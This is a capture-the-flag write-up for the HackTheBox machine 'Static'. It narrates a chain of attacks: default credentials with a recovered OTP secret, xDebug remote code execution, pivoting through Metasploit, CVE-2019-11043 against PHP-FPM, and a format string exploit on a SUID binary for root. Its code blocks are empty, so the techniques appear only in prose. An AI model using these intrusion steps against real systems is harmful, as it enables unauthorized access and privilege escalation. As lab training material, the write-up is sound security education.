Static is a hard rated machine on HackTheBox created by ompamo. For the user part we will first recover a broken gzip file to retrieve an OTP secret. With this and common default credentials we are able to log into a support web interface, where we can download multiple vpn files. Connected to the vpn we will exploit xDebug being enabled in php to get a reverse shell on a docker container. For the root part we will pivot to another subnet and exploit a vulnerability in php-fpm to get access to another machine. On this machine is a binary that has the suid capability and is also vulnerable to format string exploitation. Routing a running instance of the binary back to us with socat and ssh we are able to abuse this to get root and add the flag to our collection.
User
Nmap
As usual we start our enumeration off with an nmap scan against all ports, followed by a script and version scan against the open ones to get an initial picture of the attack surface.
All ports
1 |
|
Script and version
1 |
|
Web interface
The nmap scan already reveals two disallow entries in the robots.txt file. The first of these entries leads to a login page.
We can log into the website with the common default credentials admin:admin but see that 2FA is also enabled for which we don’t have the OTP.
Going over to the second disallowed entry from robots.txt we see a directory listing with a warning.txt and a database gzip.
The warning displays that files might be corrpupted during transfer. Downloading the gzip and trying to unzip it we see hat it has indeed been damaged and we need to recover the data.
1 |
|
We will use gzrecover for that job. We clone the repository enter the directory and issue the make command. This results in a binary we can use to recover the db.sql.gz file.
1 |
|
Looking at the recovered db.sql.recovered we see it contains the login information we already guessed and an OTP secret, which we can use to get past the 2FA barrier.
1 |
|
For the OTP to work we have to sync our time closely to the server in a first step.
1 |
|
Then we generate the otp in the python console.
1 |
|
This let’s us login to an IT Support portal where several ip addresses are listed and which let’s us generate different vpn’s.
Here we download a vpn entering the name web as common name.
XDEBUG
Inspecting the web.ovpn file we see it utilizes the domain name vpn.static.htb so we add it to our /etc/hosts.
1 |
|
Now we can connect to the vpn the usual way with openvpn.
1 |
|
Trying to ping the address of the web machine, we see that the destination network is unreachable. To fix this we manually add a route to this subnet via our new tun address from the vpn.
1 |
|
Navigating to the address of the web machine in our browser we see a directory listing with info.php and a vpn folder.
Going over to info.php it displays the output of phpinfo(). The interesting thing here is that xdebug support is enabled which let’s us easily get rce on the server. We will use the msf module for this since this seems like a pivot heavy box, which metasploit is a great help at.
We select the module set the rhosts to the target, path to /info.php, the lhost to our second vpn ip and run the exploit. This results in a meterpreter php shell which sadly has no autoroute capabilities from my understanding.
1 |
|
We can however now read the user flag in the /home directory.
1 |
|
Root
PKI
There is also a ssh key in www-data’s home directory which we copy to our machine and set the permissions to 600.
1 |
|
Looking at the ip configuration we can see the web container is connected to the same subnet as the pki container.
1 |
|
Since our current meterpreter does not have the needed routing capabilites we create a new one.
1 |
|
We set our handler to the payload lhost and lport we selected.
1 |
|
Now we upload the meterpreter, drop into a command shell, make the binary executable and run it as background process. The next meterpreter connects almost instantly back to us and we can now set the routing up.
1 |
|
For this we us the routing feature set the session to our second meterpreter, set the subnet to the pki subnet and run the module.
1 |
|
To reach the subnet from our local machine with our tools we also use our previously gathered ssh key for www-data and connect to the server with dynamic socks portforwarding by using the -D 1080 command line option.
1 |
|
For better access in the browser to the pki host and to fully utilize burp we add the socks proxy to our burp configuration at the bottom of the User options tab.
Selecting burp as our proxy we can now browse to the pki machine on port 80.
Looking at the request in burp we see that it is running PHP-FPM/7.1 on nginx.
This comination might be vulnerable to CVE-2019-11043. To check for it we clone the github repository and build the go executable with go build. We also set the http_proxy environment variable in the current terminal window to proxy all the exploit traffic through socks.
1 |
|
Running the exploit we see that it is indeed vulnerable, now we just need to get a reverse shell from the RCE.
1 |
|
Since this machine cannot directly reach us we have to set up a listener on the already compromised machine. As we already have a meterpreter running there, we can simply setup our listener via this meterpreter. We select the cmd/unix/reverse_bash payload which is the counterpart to the /dev/tcp/ payload.
1 |
|
We might have to run phuip-fpizdam again since there is a cleanup script going. After this results in a sucess we can send our reverse shell from repeater by just spamming the send button until it hangs.
Some of the command shell sessions might arrive invald as seen below but repeating the exploit it should lead to success soon and another stable session should be opened.
1 |
|
For a more comfortable access we use the shell_to_meterpreter module on our new session, set the lhost to the ip from the web machine in the 192.168.254.0/24 subnet and run it. This might look like it failed but another meterpreter session opens giving us easy access in the second hop.
1 |
|
Format string
Looking around we see that the custom binary ersatool, we saw earlier when we first hit the webpage on http://192.168.254.3/ has the suid capability set. If there is a vulnerability present in the binary we might be able to get to the root user with it.
1 |
|
First we download the binary and the corresponding libc, which we identify with ldd to our local machine using metasploits download functionality.
1 |
|
Looking at the binary in ghidra there is a format string vulnerability in the printCN function which seems promising to gain ownership of execution flow.
The final script looks like this. In a first step we leak the piebase and calculate the offset. Now we are able to leak libc by printing the pointer to got_printf. In the next leak are are able to print the stack to get the address of main_ret.
With all the needed addresses leaked we can now build a ropchain where we first set the user id to 0 and then call /bin/sh with system. We do this by writing 4 bytes at a time with pwntools fmtstr_payload. Credit for the script goes to my teammate FizzBuzz101 whose quick script dev allowed our team to obtain root blood on the machine.
1 |
|
To access the binary two hops deep we first upload a static socat binary to the target.
1 |
|
We upgrade our shell and run the binary with socat in a loop, listening on local port 8989.
1 |
|
We can now run our exploit script against it using proxychains after adding a line at the bottom of our proxychains configuration.
1 |
|
After the exploit completes we send a newline by pressing enter and are able to grab the rootflag.
1 |
|